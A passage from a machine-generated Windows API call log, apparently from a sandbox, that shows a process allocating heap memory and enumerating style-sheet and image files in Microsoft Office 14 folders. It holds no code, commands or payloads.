(HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.529] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.529] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.529] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.529] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.529] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ec58 [0069.529] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103d598 [0069.529] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.530] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x366, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTF_BOLD.GIF", cAlternateFileName="")) returned 1 [0069.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.530] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.530] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ec78 [0069.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103d6a0 [0069.530] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.530] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79023600, ftCreationTime.dwHighDateTime=0x1ca2b70, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79023600, ftLastWriteTime.dwHighDateTime=0x1ca2b70, nFileSizeHigh=0x0, nFileSizeLow=0x37a, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_choosefont.gif", cAlternateFileName="")) returned 1 [0069.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.530] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.530] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ec98 [0069.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103d7a8 [0069.530] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.531] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_italic.gif", cAlternateFileName="")) returned 1 [0069.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ecb8 [0069.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103d8b0 [0069.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.531] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60dfe600, ftCreationTime.dwHighDateTime=0x1ca2b73, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x60dfe600, ftLastWriteTime.dwHighDateTime=0x1ca2b73, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_spellcheck.gif", cAlternateFileName="")) returned 1 [0069.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ecd8 [0069.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103d9b8 [0069.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.531] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_underline.gif", cAlternateFileName="")) returned 1 [0069.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.532] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.532] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ecf8 [0069.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103dac0 [0069.532] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.532] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate", cAlternateFileName="")) returned 1 [0069.532] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xdbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate.css", cAlternateFileName="")) returned 1 [0069.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.532] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.532] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ed18 [0069.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103dbc8 [0069.532] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.533] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlateBlue.css", cAlternateFileName="")) returned 1 [0069.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ed38 [0069.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103dcd0 [0069.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x3b00) returned 0x1075110 [0069.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1071648) returned 1 [0069.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.533] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue", cAlternateFileName="")) returned 1 [0069.534] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.css", cAlternateFileName="")) returned 1 [0069.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ed58 [0069.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ddd8 [0069.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.534] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions", cAlternateFileName="")) returned 1 [0069.534] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x19cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions.css", cAlternateFileName="")) returned 1 [0069.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.534] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Doc.css", cAlternateFileName="")) returned 1 [0069.535] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Generic.css", cAlternateFileName="")) returned 1 [0069.535] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Person.css", cAlternateFileName="")) returned 1 [0069.535] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Response.css", cAlternateFileName="")) returned 1 [0069.535] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen", cAlternateFileName="")) returned 1 [0069.535] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd01, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen.css", cAlternateFileName="")) returned 1 [0069.535] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts.css", cAlternateFileName="")) returned 1 [0069.535] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STS2", cAlternateFileName="")) returned 1 [0069.535] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts2.css", cAlternateFileName="")) returned 1 [0069.535] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5747b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl", cAlternateFileName="")) returned 1 [0069.535] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl.css", cAlternateFileName="")) returned 1 [0069.535] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Teal.css", cAlternateFileName="")) returned 1 [0069.535] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x727, dwReserved0=0x0, dwReserved1=0x0, cFileName="TexturedBlue.css", cAlternateFileName="")) returned 1 [0069.535] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="")) returned 1 [0069.535] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="")) returned 0 [0069.535] GetLastError () returned 0x12 [0069.535] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d120 [0069.535] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.535] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.535] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0069.535] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana", cAlternateFileName="")) returned 1 [0069.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.536] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.537] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x106dbc0, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x106dbc0, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x106dbc0) returned 1 [0069.537] NtClose (Handle=0x18c) returned 0x0 [0069.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.537] 